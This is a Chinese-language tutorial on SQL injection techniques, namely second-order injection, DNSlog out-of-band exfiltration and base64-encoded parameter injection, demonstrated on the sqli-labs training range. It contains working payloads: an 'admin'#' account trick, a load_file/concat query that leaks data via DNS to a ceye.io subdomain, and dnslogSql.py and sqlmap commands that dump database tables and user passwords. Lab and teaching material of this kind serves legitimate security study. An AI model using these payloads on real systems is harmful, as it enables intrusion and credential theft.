#sql注入之二次注入
1.注入原理
二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入可分为两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。
2.靶场演示
sqlilabs第24关
发现默认用户为admin密码未知
尝试新建一个用户admin'#进行二次注入
查看数据库,已经添加成功
登陆admin'#
可以修改密码,我们查看此页面的网站源码,发现更新用户密码的sql语句如图:
我们修改用户admin'#的密码的SQL语句为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
注释掉后面的语句,就变成了修改用户admin的密码了,而admin'#用户密码没有改变。
#DNSlog带外注入
1.带外注入原理
带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。也就是利用其他的协议或渠道,如http请求、DNS解析、SMB服务等京数据带出。
2.靶场演示
首先在http://ceye.io/注册一个账号,记录以下信息
使用sqlilabs第9关进行演示
不会显示任何信息:
构造pylaod:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+
在平台上查看返回的值:
3.工具使用
工具地址 :https://github.com/adooo/dnslogsqlinj
需要使用python27环境
首先需要修改配置文件:
使用语句如下:
获取数据库名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs 获取数据库security下的表名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables 获取users表的列名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns 获取uses表中的数据: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
#sql注入加解密
小伙伴们可能会碰到有的url中有base64编码或者其他编码,在此类注入时我们需要先够造注入语句再进行转码,最后得到的编码再注入。
sqlmap中有相应的插件,可使用语句:
sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs
或者进行中转注入:
大体意思就是将传参用base64编码,再与url进行拼接。在开启htt服务用sqlmap或其他工具进行测试这个文件即可.
首先构造文件:
大体意思就是将传参用base64编码,再与url进行拼接。
其中base64_decode()函数是将传入的参数进行base64编码。
file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法。
例如sqlmap:
python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3